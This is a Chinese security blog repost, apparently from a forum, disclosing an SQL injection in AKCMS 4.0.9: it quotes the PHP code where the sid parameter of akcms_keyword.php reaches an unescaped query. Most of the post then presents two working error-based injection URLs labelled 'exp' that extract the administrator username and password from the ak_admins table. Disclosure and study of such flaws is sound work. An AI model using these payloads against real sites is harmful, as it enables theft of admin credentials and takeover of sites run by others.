akcms4.0.9 sql 注入 exp

admin 2021年4月3日20:00:08评论28 views字数 1392阅读4分38秒阅读模式

我也是无意中发现的不知道有没有人发过呢

漏洞出现在:akcms_keyword.php

system_root是和后台目录对应的

在看看admin/fore/keyword.php

get_by('*', 'keywords', "sid='$sid' AND keyword='".addslashes($keyword)."'");
if(!isset($template)) $template = $se['template'];

$variables = array();
$variables['template'] = $template;
$variables['html'] = 0;
$variables['sid'] = $sid;
$variables['num'] = $k['num'];
$variables['keyword'] = $keyword;
$variables['keyword_url'] = urlencode($keyword);
$variables['keyword_html'] = htmlspecialchars($keyword);
$html = render_template($variables);

if($forecache === false) setforecache($currenturl, $html);
if(substr($html, 0, 5) == '

管理员真的很搞啊 对$keyword进行了魔术转义 却没有对sid=$sid 进行转义这我就有点看不懂了

好吧在看看

$db->get_by函数吧(其实都不用看了就是一个select)

function get_by($what, $from, $where = '') {
        $table = $this->fulltablename($from);
        $sql = "SELECT {$what} FROM {$table}";
        if($where != '') $sql .= " WHERE {$where}";
        if(strpos($what, '(') === false) $sql .= " LIMIT 1";
       
     $row = $this->get_one($sql);
        if($row === false) {
            return false;
        } elseif(count($row) == 1) {
            return current($row);
        } else {
            return $row;
        }
    }

在get_by里也没有过滤

因此引发sql注入漏洞

exp:

管理员账号

http://localhost/akcms4.0.9/akcms_keyword.php?sid=11111'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,editor,0x27,0x7e) from ak_admins limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
and '1'='1&keyword=11

管理员密码

http://localhost/akcms4.0.9/akcms_keyword.php?sid=11111'and(select 1 from(select count(*),concat((select (select (select concat(0x7e,0x27,password,0x27,0x7e) from ak_admins limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)
and '1'='1&keyword=11

by 仗剑孤行

转自:http://www.90sec.org/viewthread.php?tid=2206&extra=page%3D1%26amp%3Borderby%3Ddateline%26amp%3Bfilter%3D2592000

文章来源于lcx.cc:akcms4.0.9 sql 注入 exp

相关推荐: 站争(代号1937)引子

人类平均寿命为60年,有一半人用了30年睡觉,也就剩下30年,而在这30年中,16岁成年,也就意味着只有14年是真正的活着 这14年中从懵懂到成熟,从创业到守业,花掉了一半时间,也就是7年,而生命中唯一的这7年都是在为别人而活着 总有那么一群人,不分白昼的工作…

  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2021年4月3日20:00:08
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   akcms4.0.9 sql 注入 exphttps://cn-sec.com/archives/324810.html

发表评论

匿名网友 填写信息